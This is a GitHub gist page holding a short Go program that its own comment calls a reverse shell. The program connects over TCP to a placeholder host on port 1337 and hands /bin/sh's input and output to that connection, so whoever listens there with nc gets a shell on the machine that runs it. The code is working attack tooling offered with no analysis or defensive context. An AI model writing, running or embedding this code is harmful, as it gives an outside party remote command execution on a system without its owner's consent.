Skip to content

Instantly share code, notes, and snippets.

@khajavi
Created November 24, 2016 07:16
Show Gist options
  • Save khajavi/3c994eac5cd03028ca74f4e9df2060c8 to your computer and use it in GitHub Desktop.
Save khajavi/3c994eac5cd03028ca74f4e9df2060c8 to your computer and use it in GitHub Desktop.
package main
// Reverse shell
// Test in remote server with nc -l 1337
import"os/exec"
import"net"
func main(){
c,_:=net.Dial("tcp","remoteserverip:1337");
cmd:=exec.Command("/bin/sh");
cmd.Stdin=c;
cmd.Stdout=c;
cmd.Stderr=c;
cmd.Run();
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment